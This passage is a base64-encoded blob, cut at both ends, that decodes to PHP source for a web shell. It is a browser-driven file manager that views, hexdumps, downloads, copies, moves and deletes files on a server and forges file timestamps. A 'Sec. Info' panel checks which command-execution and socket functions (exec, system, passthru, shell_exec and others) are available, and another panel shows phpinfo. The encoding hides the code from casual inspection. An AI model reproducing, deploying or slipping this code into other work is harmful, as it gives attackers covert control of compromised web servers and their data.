mcj0iLnVybGUoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0ndCcpDQoJCXsNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGltZScgdmFsdWU9JyVzJy8+DQoJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J1RvdWNoJyBuYW1lPSd0b3VjaCcvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+IixHZXRGaWxlVGltZSgkZmlsZSwibW9kaWZ5IiksJHN0YXR1cyk7DQoNCgkJCWlmKGFueSgic3RhdHVzIiwkX1NFU1NJT04pKSB1bnNldCgkX1NFU1NJT05bJ3N0YXR1cyddKTsNCg0KCQkJaWYoYW55KCJ0b3VjaCIsJF9SRVFVRVNUKSkNCgkJCXsNCgkJCQkkdGltZT0kX1JFUVVFU1RbJ3RpbWUnXTsNCgkJCQlpZighdG91Y2godHJpbSgkZmlsZSksc3RydG90aW1lKCR0aW1lKSkpIA0KCQkJCXsNCgkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nV2hvb3BzLCBzb21ldGhpbmcgd2VudCB3cm9uZy4uLic7DQoJCQkJfQ0KCQkJCWVsc2UgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdUb3VjaGVkIGZpbGUgd2l0aCBzdWNjZXNzJzsNCgkJCQl9DQoJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT10JnI9Ii51cmxlKCRmaWxlKSk7DQoJCQl9DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J3YnKQ0KCQl7DQoJCQlwcmludGYoIjxkaXYgY2xhc3M9J21lbnUnPg0KCQkJCQk8dWw+DQoJCQkJCQk8bGk+PGEgaHJlZj0nP2E9diZyPSVzJz5Tb3VyY2U8L2E+PC9saT4NCgkJCQkJCTxsaT48YSBocmVmPSc/YT12Jnc9ZiZyPSVzJz5pRnJhbWU8L2E+PC9saT4NCgkJCQkJCTxsaT48YSBocmVmPSc/YT12Jnc9aSZyPSVzJz5JbWFnZTwvYT48L2xpPg0KCQkJCQkJPGxpPjxhIGhyZWY9Jz9hPXYmdz12JnI9JXMnPlZpZGVvPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0nP2E9diZ3PWEmcj0lcyc+QXVkaW88L2E+PC9saT4NCgkJCQkJPC91bD4NCgkJCQk8L2Rpdj4iLA0KCQkJdXJsZSgkZmlsZSksdXJsZSgkZmlsZSksDQoJCQl1cmxlKCRmaWxlKSx1cmxlKCRmaWxlKSwNCgkJCXVybGUoJGZpbGUpKTsNCg0KCQkJaWYoaXNfcmVhZGFibGUoJGZpbGUpKQ0KCQkJew0KCQkJCWlmKGFueSgidyIsJF9SRVFVRVNUKSkNCgkJCQl7DQoJCQkJCSR1cmw9R2V0VXJsRnJvbVBhdGgoJGZpbGUpOw0KCQkJCQkkdHlwZT1wYXRoaW5mbygkdXJsKVsnZXh0ZW5zaW9uJ107DQoNCgkJCQkJaWYoJF9SRVFVRVNUWyd3J109PSdmJykNCgkJCQkJew0KCQkJCQkJcHJpbnRmKCI8Y2VudGVyPjxpZnJhbWUgc3JjPSclcycgd2lkdGg9JzEwMCUlJyBoZWlnaHQ9JzMyNScgZnJhbWVCb3JkZXI9JzAnPlN1Y2s8L2lmcmFtZT48YSBocmVmPSclcycgdGFyZ2V0PSdfYmxhbmsnPi0tPiBOZXcgVGFiIDwtLTwvYT48L2NlbnRlcj4iLCR1cmwsJHVybCk7DQoJCQkJCX0NCg0KCQkJCQlpZigkX1JFUVVFU1RbJ3cnXT09J2knKQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjxjZW50ZXI+PGltZyBzcmM9JyVzJyBhbHQ9JyZuYnNwO05vdCBJbWFnZScvPjwvY2VudGVyPiIsJHVybCk7DQoJCQkJCX0NCg0KCQkJCQlpZigkX1JFUVVFU1RbJ3cnXT09J3YnKQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjxjZW50ZXI+PHZpZGVvIHdpZHRoPSc2NDAnIGhlaWdodD0nMzIwJyBjb250cm9scz48c291cmNlIHNyYz0nJXMnIHR5cGU9J3ZpZGVvLyVzJz5TdWNrPC92aWRlbz48L2NlbnRlcj4iLCR1cmwsJHR5cGUpOw0KCQkJCQl9DQoNCgkJCQkJaWYoJF9SRVFVRVNUWyd3J109PSdhJykNCgkJCQkJew0KCQkJCQkJcHJpbnRmKCI8Y2VudGVyPjxhdWRpbyBjb250cm9scz48c291cmNlIHNyYz0nJXMnIHR5cGU9J2F1ZGlvLyVzJz5TdWNrPC9hdWRpbz48L2NlbnRlcj4iLCR1cmwsJHR5cGUpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCWlmKGZpbGVzaXplKCRmaWxlKSA+IDUyNDI4ODApDQoJCQkJCXsNCgkJCQkJCXByaW50ZigiTGF6eSB0byBSZWFkIG1vcmUgdGhhbiA1TUIgRmlsZXMiKTsNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCSRjb2RlPWhpZ2hsaWdodF9maWxlKCRmaWxlLHRydWUpOw0KCQkJCQkJcHJpbnRmKCI8ZGl2IGNsYXNzPSdoaWdobGlnaHQnPiVzPC9kaXY+IiwkY29kZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0naCcpDQoJCXsNCgkJCSRjPWZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCgkJCSRuPTA7DQoJCQkkaD1hcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuPXN0cmxlbigkYyk7DQoJCQlmb3IoJGk9MDskaTwkbGVuOysrJGkpDQoJCQl7DQoJCQkJJGhbMV0uPXNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoKG9yZCgkY1skaV0pKQ0KCQkJCXsNCgkJCQkJY2FzZSAwOiAkaFsyXS49JyAnO2JyZWFrOw0KCQkJCQljYXNlIDk6ICRoWzJdLj0nICc7YnJlYWs7DQoJCQkJCWNhc2UgMTA6JGhbMl0uPScgJzticmVhazsNCgkJCQkJY2FzZSAxMzokaFsyXS49JyAnO2JyZWFrOw0KCQkJCQlkZWZhdWx0OiRoWzJdLj0kY1skaV07YnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYoJG49PTMyKQ0KCQkJCXsNCgkJCQkJJG49MDsNCgkJCQkJaWYoJGkrMSA8ICRsZW4pDQoJCQkJCXsNCgkJCQkJCSRoWzBdLj1zcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJJGhbMV0uPSc8YnI+JzsNCgkJCQkJJGhbMl0uPSJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQkJcHJpbnRmKCINCgkJCQk8ZGl2IGlkPSdoZXhkdW1wJz4NCgkJCQkJPHRhYmxlIGNsYXNzPSdoZXhkdW1wJz4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGQ+PHByZT4lczwvcHJlPjwvdGQ+DQoJCQkJCQkJPHRkPjxwcmU+JXM8L3ByZT48L3RkPg0KCQkJCQkJCTx0ZD48cHJlPiVzPC9wcmU+PC90ZD4NCgkJCQkJCTwvdHI+DQoJCQkJCTwvdGFibGU+DQoJCQkJPC9kaXY+IiwkaFswXSwkaFsxXSxodG1sc3BlY2lhbGNoYXJzKCRoWzJdKSk7DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J2NwJ3x8JF9SRVFVRVNUWydhJ109PSdtdicpDQoJCXsNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZS1kZXN0JyB2YWx1ZT0nJXMnLz4NCgkJCQk8aW5wdXQgdHlwZT0nU3VibWl0JyB2YWx1ZT0nJXMnIG5hbWU9J3N1Ym1pdCcvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+IiwkZmlsZSwoJF9SRVFVRVNUWydhJ109PSdjcCc/J0NvcHknOidNb3ZlJyksJHN0YXR1cyk7DQoNCgkJCWlmKGFueSgic3RhdHVzIiwkX1NFU1NJT04pKSB1bnNldCgkX1NFU1NJT05bJ3N0YXR1cyddKTsNCg0KCQkJaWYoYW55KCJzdWJtaXQiLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJHNvdXJjZT0kZmlsZTsNCgkJCQkkZGVzdD0kX1JFUVVFU1RbJ2ZpbGUtZGVzdCddOw0KDQoJCQkJaWYoIWZpbGVfZXhpc3RzKCRkZXN0KSkNCgkJCQl7DQoJCQkJCWlmICgkX1JFUVVFU1RbJ2EnXT09J2NwJykNCgkJCQkJew0KCQkJCQkJaWYoIWNvcHkodHJpbSgkc291cmNlKSx0cmltKCRkZXN0KSkpIA0KCQkJCQkJew0KCQkJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J1dob29wcywgY2Fubm90IGNvcHlpbmcuLi4nOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSANCgkJCQkJCXsNCgkJCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSJDb3B5IGZpbGUgd2l0aCBzdWNjZXNzIDxhIGhyZWY9P2E9diZyPSciIC4gdXJsZSgkZGVzdCkgLiAiJz4nIiAuIGJhc2VuYW1lKCRkZXN0KSAuICInPC9hPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZWlmKCRfUkVRVUVTVFsnYSddPT0nbXYnKQ0KCQkJCQl7DQoJCQkJCQlpZighY29weSh0cmltKCRzb3VyY2UpLHRyaW0oJGRlc3QpKSkgDQoJCQkJCQl7DQoJCQkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nV2hvb3BzLCBjYW5ub3QgbW92aW5nLi4uJzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UgDQoJCQkJCQl7DQoJCQkJCQkgICAgaWYoUmVtb3ZlKCRzb3VyY2UpKQ0KCQkJCQkJICAgIHsNCgkJCQkJCSAgICAJJF9TRVNTSU9OWydzdGF0dXMnXT0iTW92ZSBmaWxlIHdpdGggc3VjY2VzcyI7DQoJCQkJCQkgICAgCSRmaWxlPSRkZXN0Ow0KCQkJCQkJICAgfQ0KCQkJCQkJICAgIGVsc2UNCgkJCQkJCSAgICB7DQoJCQkJCQkgICAgCSRfU0VTU0lPTlsnc3RhdHVzJ109J1dob29wcywganVzdCBjb3B5aW5nLi4uJzsNCgkJCQkJCSAgIH0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkX1NFU1NJT05bJ3N0YXR1cyddPSJXaG9vcHMsIEZpbGUgd2FzIEV4aXN0cyA8YSBocmVmPT9hPXYmcj0nIiAuIHVybGUoJGRlc3QpIC4gIic+JyIgLiBiYXNlbmFtZSgkZGVzdCkgLiAiJzwvYT4iOw0KCQkJCX0NCg0KCQkJCWlmKCRfUkVRVUVTVFsnYSddPT0nY3AnKQ0KCQkJCXsNCgkJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1jcCZyPSIudXJsZSgkZmlsZSkpOw0KCQkJCX0NCgkJCQllbHNlaWYoJF9SRVFVRVNUWydhJ109PSdtdicpDQoJCQkJew0KCQkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPW12JnI9Ii51cmxlKCRmaWxlKSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoNCgkJaWYoJF9SRVFVRVNUWydhJ109PSdkJykNCgkJew0KCQkJaWYoZmlsZV9leGlzdHMoJGZpbGUpKQ0KCQkJew0KCQkJCWhlYWRlcignQ2FjaGUtQ29udHJvbDptdXN0LXJldmFsaWRhdGUscG9zdC1jaGVjaz0wLHByZS1jaGVjaz0wJyk7DQoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOmF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy5iYXNlbmFtZSgkZmlsZSkpOw0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJCWhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjpGaWxlIFRyYW5zZmVyJyk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOmJpbmFyeScpOw0KCQkJCWhlYWRlcignQ29udGVudC1MZW5ndGg6Jy5maWxlc2l6ZSgkZmlsZSkpOw0KCQkJCWhlYWRlcignUHJhZ21hOnB1YmxpYycpOw0KCQkJCWhlYWRlcignRXhwaXJlczowJyk7DQoJCQkJb2JfY2xlYW4oKTsNCgkJCQlyZWFkZmlsZSgkZmlsZSk7DQoJCQkJZXhpdDsNCgkJCX0NCgkJfQ0KCQkNCgkJaWYoJF9SRVFVRVNUWydhJ109PSd4JykNCgkJew0KCQkJaWYoZmlsZV9leGlzdHMoJGZpbGUpKQ0KCQkJew0KCQkJCWlmKFJlbW92ZSgkZmlsZSkpDQoJCQkJew0KCQkJCQloZWFkZXIoImxvY2F0aW9uOiIuJGJhY2spOw0KCQkJCX0NCgkJCX0NCgkJCQ0KCQkJcHJpbnQgJzxmb250IGNsYXNzPSJvZmYiPkNhbm5vdCBEZWxldGU8L2ZvbnQ+JzsNCgkJfQ0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnPGZvbnQgY2xhc3M9Im9mZiI+RmlsZSBOb3QgRm91bmQ8L2ZvbnQ+JzsNCgl9DQp9DQoNCmlmKGFueSgieCIsJF9SRVFVRVNUKSkNCnsNCglpZigkX1JFUVVFU1RbJ3gnXT09ImxvZ291dCIpDQoJew0KCQlzZXNzaW9uX2Rlc3Ryb3koKTsNCgkJc2Vzc2lvbl9yZWdlbmVyYXRlX2lkKCk7DQoJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZik7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0ic2VjdXJlIikNCgl7DQoJCSRkaXNhYmxlX2Z1bmN0aW9ucz1hcnJheV9maWx0ZXIoYXJyYXlfbWFwKCd0cmltJyxleHBsb2RlKCcsJyxpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKSkpOw0KDQoJCSRzZWN1cml0eT1hcnJheSgnX3h5ZWMnLCdhbGxvd191cmxfZm9wZW4nLCdhbGxvd191cmxfaW5jbHVkZScsJ2FwYWNoZV9jaGlsZF90ZXJtaW5hdGUnLCdhcGFjaGVfZ2V0X21vZHVsZXMnLCdhcGFjaGVfZ2V0ZW52JywNCgkJJ2FwYWNoZV9ub3RlJywnYXBhY2hlX3NldGVudicsJ2Jhc2U2NF9kZWNvZGUnLCdjaGRpcicsJ2NoZ3JwJywnY2htb2QnLCdjaG93bicsJ2N1cmxfZXhlYycsJ2N1cmxfbXVsdGlfZXhlYycsJ2RiYXNlX29wZW4nLA0KCQknZGJtb3BlbicsJ2RlZmluZV9zeXNsb2dfdmFyaWFibGVzJywnZGlza19mcmVlX3NwYWNlJywnZGlza190b3RhbF9zcGFjZScsJ2Rpc2tmcmVlc3BhY2UnLCdkbCcsJ2Rsb3BlbicsJ2VzY2FwZXNoZWxsYXJnJywNCgkJJ2VzY2FwZXNoZWxsY21kJywnZXZhbCcsJ2V4ZWMnLCdleHRyYWN0JywnZmlsZXBybycsJ2ZpbGVwcm9fcmV0cmlldmUnLCdmaWxlcHJvX3Jvd2NvdW50JywnZm9wZW5fd2l0aF9wYXRoJywnZnAnLCdmcHV0JywNCgkJJ2ZwdXRzJywnZnRwX2Nvbm5lY3QnLCdmdHBfZXhlYycsJ2Z0cF9nZXQnLCdmdHBfbG9naW4nLCdmdHBfbmJfZnB1dCcsJ2Z0cF9wdXQnLCdmdHBfcmF3JywnZnRwX3Jhd2xpc3QnLCdnZW9pcF9vcGVuJywNCgkJJ2dldF9jZmdfdmFyJywnZ2V0X2N1cnJlbnRfdXNlcicsJ2dldF9udW1fcmVkaXJlY3RzJywnZ2V0Y3dkJywnZ2V0ZW52JywnZ2V0bGFzdG1vJywnZ2V0bXlnaWQnLCdnZXRteWlub2RlJywnZ2V0bXlwaWQnLA0KCQknZ2V0bXl1aWQnLCdnZXRydXNhZ2UnLCdnemluZmxhdGUnLCdnenVuY29tcHJlc3MnLCdoaWdobGlnaHRfZmlsZScsJ2hwQWRzX3htbHJwY0VuY29kZScsJ2luaV9hbHRlcicsJ2luaV9nZXRfYWxsJywNCgkJJ2luaV9yZXN0b3JlJywnaW5pX3NldCcsJ2luamVjdF9jb2RlJywnbGVhaycsJ2xpbmsnLCdsaXN0ZW4nLCdtYWlud29yaycsJ21iX3NlbmRfbWFpbCcsJ21rZGlyJywnbWtmaWZvJywnbW92ZV91cGxvYWRlZF9maWxlJywNCgkJJ215c3FsX2xpc3RfZGJzJywnbXlzcWxfcGNvbm5lY3QnLCdvcGVubG9nJywncGFyc2VfaW5pX2ZpbGUnLCdwYXNzdGhydScsJ3BjbnRsX2FsYXJtJywncGNudGxfZXhlYycsJ3BjbnRsX2ZvcmsnLA0KCQkncGNudGxfZ2V0X2xhc3RfZXJyb3InLCdwY250bF9nZXRwcmlvcml0eScsJ3BjbnRsX3NldHByaW9yaXR5JywncGNudGxfc2lnbmFsJywncGNudGxfc2lnbmFsX2Rpc3BhdGNoJywncGNudGxfc2lncHJvY21hc2snLA0KCQkncGNudGxfc2lndGltZWR3YWl0JywncGNudGxfc2lnd2FpdGluZm8nLCdwY250bF9zdHJlcnJvcnAnLCdwY250bF93YWl0JywncGNudGxfd2FpdHBpZCcsJ3BjbnRsX3dleGl0c3RhdHVzJywncGNudGxfd2lmZXhpdGVkJywNCgkJJ3BjbnRsX3dpZnNpZ25hbGVkJywncGNudGxfd2lmc3RvcHBlZCcsJ3BjbnRsX3dzdG9wc2lnJywncGNudGxfd3Rlcm1zaWcnLCdwZnNvY2tvcGVuJywncGhwQWRzX1htbFJwYycsJ3BocEFkc19yZW1vdGVJbmZvJywNCgkJJ3BocEFkc194bWxycGNEZWNvZGUnLCdwaHBBZHNfeG1scnBjRW5jb2RlJywncGhwX3VuYW1lJywncGhwaW5mbycsJ3BvcGVuJywncG9zaXhfZ2V0Z3JnaWQnLCdwb3NpeF9nZXRsb2dpbicsJ3Bvc2l4X2dldHB3dWlkJywNCgkJJ3Bvc2l4X2tpbGwnLCdwb3NpeF9ta2ZpZm8nLCdwb3NpeF9zZXRwZ2lkJywncG9zaXhfc2V0c2lkJywncG9zaXhfc2V0dWlkJywncG9zaXhfdHR5bmFtZScsJ3Bvc2l4X3VuYW1lJywncG9zaXhjJywncHJvY19jbG9zZScsDQoJCSdwcm9jX2dldF9zdGF0cycsJ3Byb2NfZ2V0X3N0YXR1cycsJ3Byb2NfbmljZScsJ3Byb2Nfb3BlbicsJ3Byb2NfdGVybWluYXRlJywncHNfYXV4JywncHV0ZW52JywncmVhZGxpbmsnLCdyZW5hbWUnLCdybWRpcicsDQoJCSdydW5raXRfZnVuY3Rpb25fcmVuYW1lJywnc2V0X3RpbWVfbGltaXQnLCdzaDJfZXhlYycsJ3NoZWxsX2V4ZWMnLCdzaG93X3NvdXJjZScsJ3NsZWVwJywnc29ja2V0X2FjY2VwdCcsJ3NvY2tldF9iaW5kJywNCgkJJ3NvY2tldF9jbGVhcl9lcnJvcicsJ3NvY2tldF9jbG9zZScsJ3NvY2tldF9jb25uZWN0Jywnc29ja2V0X2NyZWF0ZScsJ3NvY2tldF9jcmVhdGVfbGlzdGVuJywnc29ja2V0X2NyZWF0ZV9wYWlyJywNCgkJJ3NvY2tldF9nZXRfb3B0aW9uJywnc29ja2V0X2dldHBlZXJuYW1lJywnc29ja2V0X2dldHNvY2tuYW1lJywnc29ja2V0X2xhc3RfZXJyb3InLCdzb2NrZXRfbGlzdGVuJywnc29ja2V0X3JlYWQnLA0KCQknc29ja2V0X3JlY3YnLCdzb2NrZXRfcmVjdmZyb20nLCdzb2NrZXRfc2VsZWN0Jywnc29ja2V0X3NlbmQnLCdzb2NrZXRfc2VuZHRvJywnc29ja2V0X3NldF9ibG9jaycsJ3NvY2tldF9zZXRfbm9uYmxvY2snLA0KCQknc29ja2V0X3NldF9vcHRpb24nLCdzb2NrZXRfc2h1dGRvd24nLCdzb2NrZXRfc3RyZXJyb3InLCdzb2NrZXRfd3JpdGUnLCdzdHJfcm90MTMnLCdzdHJlYW1fc2VsZWN0Jywnc3RyZWFtX3NvY2tldF9zZXJ2ZXInLA0KCQknc3ltbGluaycsJ3N5c2xvZycsJ3N5c3RlbScsJ3RwX2V4ZWMnLCd2aXJ0dWFsJywneG1scnBjX2VudGl0eV9kZWNvZGUnKTsNCg0KCQlzb3J0KCRzZWN1cml0eSk7IA0KCQkkZnVja3M9YXJyYXlfdW5pcXVlKGFycmF5X21lcmdlKCRkaXNhYmxlX2Z1bmN0aW9ucywkc2VjdXJpdHkpKTsNCgkJJHRhYmxlPSIiOw0KCQkkZW5hYmxlPTA7DQoJCSRkaXNhYmxlPTA7DQoJCSRkaWU9YXJyYXkoKTsNCgkJJHJlYWR5PWFycmF5KCk7DQoJCSRvZmY9YXJyYXkoKTsNCgkJJHRvdGFsPWNvdW50KCRmdWNrcyk7DQoNCgkJZm9yZWFjaCgkZnVja3MgYXMgJGZ1Y2spDQoJCXsNCgkJCSR0YWJsZS49Ijx0cj48dGQ+PC90ZD48dGQ+JGZ1Y2s8L3RkPjx0ZD4iOw0KCQkJaWYoaW5fYXJyYXkoJGZ1Y2ssJGRpc2FibGVfZnVuY3Rpb25zKSkNCgkJCXsNCgkJCQkkdGFibGUuPSI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5ESUU8L2ZvbnQ+PC9jZW50ZXI+IjsNCgkJCQkkZGllW109JGZ1Y2s7DQoJCQkJJGRpc2FibGUrKzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoJGZ1Y2spfHxpc19jYWxsYWJsZSgkZnVjaykpDQoJCQkJew0KCQkJCQkkdGFibGUuPSI8Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuPlJFQURZPC9mb250PjwvY2VudGVyPiI7DQoJCQkJCSRyZWFkeVtdPSRmdWNrOw0KCQkJCQkkZW5hYmxlKys7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSR0YWJsZS49IjxjZW50ZXI+PGZvbnQgY29sb3I9b3JhbmdlPk9GRjwvZm9udD48L2NlbnRlcj4iOw0KCQkJCQkkb2ZmW109JGZ1Y2s7DQoJCQkJCSRkaXNhYmxlKys7DQoJCQkJfQ0KCQkJfQ0KCQkJJHRhYmxlLj0iPC90ZD48L3RyPiI7DQoJCX0NCg0KCQkkcmlzaz0oJGVuYWJsZS8kdG90YWwpKjEwMDsNCgkJJHNlY3VyZT0oJGRpc2FibGUvJHRvdGFsKSoxMDA7DQoNCgkJcHJpbnRmKCI8aDIgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyJz5TZWMuIEluZm8gdjIuMC4lczwvaDI+PGJyPg0KCQkJPGg0IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjtjb2xvcjp2YXIoLS10eHQtY29sb3IpJz5SaXNrcyBSYXRlIDxmb250IGNvbG9yPXJlZD5bJXMlJV08L2ZvbnQ+IHwgU2VjdXJlIFJhdGUgPGZvbnQgY29sb3I9Z3JlZW4+WyVzJSVdPC9mb250PjwvaDQ+PGJyPjxicj4NCgkJCTxkaXYgY2xhc3M9J2F1dG8tbnVtYmVyJz4NCgkJCQk8dGFibGUgY2xhc3M9J3RhYmxlIHNvcnRhYmxlJz4NCgkJCQkJPHRoZWFkPg0KCQkJCQkJPHRyPg0KCQkJCQkJCTx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCcgd2lkdGg9JzE1Jz5Oby48L3RoPg0KCQkJCQkJCTx0aD5EaXNhYmxlIEZ1bmN0aW9uPC90aD4NCgkJCQkJCQk8dGg+U3RhdHVzPC90aD4NCgkJCQkJCTwvdHI+DQoJCQkJCTwvdGhlYWQ+DQoJCQkJCTx0Ym9keT4NCgkJCQkJCSVzDQoJCQkJCTwvdGJvZHk+DQoJCQkJPC90YWJsZT4NCgkJCQk8ZmllbGRzZXQgc3R5bGU9J21hcmdpbi1ib3R0b206MTVweCc+DQoJCQkJCTxsZWdlbmQ+UmVhZHkgTGlzdDwvbGVnZW5kPg0KCQkJCQk8dGV4dGFyZWE+JXM8L3RleHRhcmVhPg0KCQkJCTwvZmllbGRzZXQ+DQoJCQkJPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPg0KCQkJCQkJPGZpZWxkc2V0IHN0eWxlPSdtYXJnaW4tYm90dG9tOjE1cHgnPg0KCQkJCQkJCTxsZWdlbmQ+T2ZmIExpc3Q8L2xlZ2VuZD4NCgkJCQkJCQk8dGV4dGFyZWE+JXM8L3RleHRhcmVhPg0KCQkJCQkJPC9maWVsZHNldD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJCQk8ZmllbGRzZXQ+DQoJCQkJCQkJPGxlZ2VuZD5EaWUgTGlzdDwvbGVnZW5kPg0KCQkJCQkJCTx0ZXh0YXJlYT4lczwvdGV4dGFyZWE+DQoJCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCQk8L2Rpdj4NCgkJCTwvZGl2PiIsJHRvdGFsLHJvdW5kKCRyaXNrLDIpLHJvdW5kKCRzZWN1cmUsMiksJHRhYmxlLGltcGxvZGUoJHJlYWR5LCAnLCAnKSxpbXBsb2RlKCRvZmYsICcsICcpLGltcGxvZGUoJGRpZSwgJywgJykpOw0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09ImluZm8iKQ0KCXsNCgkJcHJpbnRmKCI8ZGl2IGlkPSdwaHAtY29uZmlndXJhdGlvbic+DQoJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOycgY2xhc3M9J25ldyc+DQoJCQkJPHNlbGVjdCBpZD0ncGhwLWNvbmZpZyc+DQoJCQkJCTxvcHRpb24gdmFsdWU9JzQnPklORk9fQ09ORklHVVJBVElPTjwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPScxNicgc2VsZWN0ZWQ+SU5GT19FTlZJUk9OTUVOVDwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSczMic+SU5GT19WQVJJQUJMRVM8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0nOCc+SU5GT19NT0RVTEVTPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9JzEnPklORk9fR0VORVJBTDwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPScyJz5JTkZPX0NSRURJVFM8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0nNjQnPklORk9fTElDRU5TRTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSctMSc+SU5GT19BTEw8L29wdGlvbj4NCgkJCQk8L3NlbGVjdD4NCgkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwicmV0dXJuIGdldEFqYXgodHJ1ZSwncGhwLWluZm8nLCdQT1NUJywnP3g9aW5mbyZ4YT1lbnZpcm9sbWVudCZjb25maWc9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGhwLWNvbmZpZycpLnZhbHVlKTtcIi8+PGJyPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgkJPGRpdiBpZD0ncGhwLWluZm8nIGNsYXNzPSdyZXN1bHQnPjwvZGl2PiIpOw0KDQoJCSRjb3Jlcz1hcnJheSgnUEhQX1ZFUlNJT04nLCdQSFBfTUFKT1JfVkVSU0lPTicsJ1BIUF9NSU5PUl9WRVJTSU9OJywnUEhQX1JFTEVBU0VfVkVSU0lPTicsJ1BIUF9WRVJTSU9OX0lEJywNCgkJCQkgICdQSFBfRVhUUkFfVkVSU0lPTicsJ1BIUF9aVFMnLCdQSFBfREVCVUcnLCdQSFBfTUFYUEFUSExFTicsJ1BIUF9PUycsJ1BIUF9PU19GQU1JTFknLCdQSFBfU0FQSScsDQoJCQkJICAnUEhQX0VPTCcsJ1BIUF9JTlRfTUFYJywnUEhQX0lOVF9NSU4nLCdQSFBfSU5UX1NJWkUnLCdQSFBfRkxPQVRfRElHJywnUEhQX0ZMT0FUX0VQU0lMT04nLA0KCQkJCSAgJ1BIUF9GTE9BVF9NSU4nLCdQSFBfRkxPQVRfTUFYJywnREVGQVVMVF9JTkNMVURFX1BBVEgnLCdQRUFSX0lOU1RBTExfRElSJywnUEVBUl9FWFRFTlNJT05fRElSJywNCgkJCQkgICdQSFBfRVhURU5TSU9OX0RJUicsJ1BIUF9QUkVGSVgnLCdQSFBfQklORElSJywnUEhQX0JJTkFSWScsJ1BIUF9NQU5ESVInLCdQSFBfTElCRElSJywnUEhQX0RBVEFESVInLA0KCQkJCSAgJ1BIUF9